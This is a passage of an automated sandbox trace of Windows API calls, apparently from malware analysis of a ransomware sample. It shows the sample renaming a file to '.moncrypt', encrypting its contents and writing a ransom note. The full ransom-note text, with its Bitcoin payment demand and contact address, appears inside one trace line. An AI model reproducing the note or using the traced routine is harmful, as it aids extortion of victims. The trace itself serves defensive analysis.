Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a600, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0054.399] GetLastError () returned 0x2 [0054.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.401] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0054.402] CloseHandle (hObject=0x18c) returned 1 [0054.402] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0054.402] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.402] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.402] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.403] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.403] GlobalUnlock (hMem=0x44000c) returned 0 [0054.403] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.403] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.403] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.403] GlobalUnlock (hMem=0x44000c) returned 0 [0054.403] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.403] GlobalUnlock (hMem=0x440004) returned 0 [0054.403] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.403] CharLowerBuffW (in: lpsz="SUMIPNTG.INF", cchLength=0xc | out: lpsz="sumipntg.inf") returned 0xc [0054.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpUsedDefaultChar=0x0) returned 77 [0054.404] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0054.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpUsedDefaultChar=0x0) returned 4 [0054.404] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.404] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.404] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.404] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.404] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.404] GlobalUnlock (hMem=0x440004) returned 0 [0054.404] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.404] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.404] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.404] GlobalUnlock (hMem=0x440004) returned 0 [0054.404] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.404] GlobalUnlock (hMem=0x44000c) returned 0 [0054.404] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.404] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0054.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.405] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 77 [0054.405] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0054.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0054.405] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0054.405] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.405] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.405] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0054.406] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.moncrypt")) returned 1 [0054.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.407] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.407] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xad0e [0054.407] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.407] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.409] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.409] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.409] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.409] GlobalUnlock (hMem=0x440004) returned 0 [0054.409] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.409] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.410] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.410] GlobalUnlock (hMem=0x440004) returned 0 [0054.410] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.410] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.410] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.410] GlobalUnlock (hMem=0x44000c) returned 0 [0054.410] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.410] GlobalUnlock (hMem=0x440004) returned 0 [0054.410] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.410] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.410] GlobalUnlock (hMem=0x440004) returned 0 [0054.410] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.410] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.410] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.410] GlobalUnlock (hMem=0x440004) returned 0 [0054.410] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.410] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.410] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.410] SetFilePointer (in: hFile=0x18c, lDistanceToMove=44302, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xad0e [0054.411] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.411] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.411] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.422] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.422] CloseHandle (hObject=0x18c) returned 1 [0054.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.423] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.423] CloseHandle (hObject=0x18c) returned 1 [0054.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0054.424] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.424] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.424] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.424] GlobalUnlock (hMem=0x440004) returned 0 [0054.424] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.424] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.424] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.424] GlobalUnlock (hMem=0x440004) returned 0 [0054.424] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.424] GlobalUnlock (hMem=0x44000c) returned 0 [0054.424] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.424] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419bf1c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x419bf1c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x419e5320, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0054.424] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0054.424] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0054.424] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.425] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.425] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.425] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.425] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.425] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.425] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.425] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0054.425] CloseHandle (hObject=0x18c) returned 1 [0054.425] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.425] GetLastError () returned 0x12 [0054.425] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.425] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.425] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.425] GlobalUnlock (hMem=0x44000c) returned 0 [0054.425] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.425] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.425] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.426] GlobalUnlock (hMem=0x44000c) returned 0 [0054.426] GlobalHandle 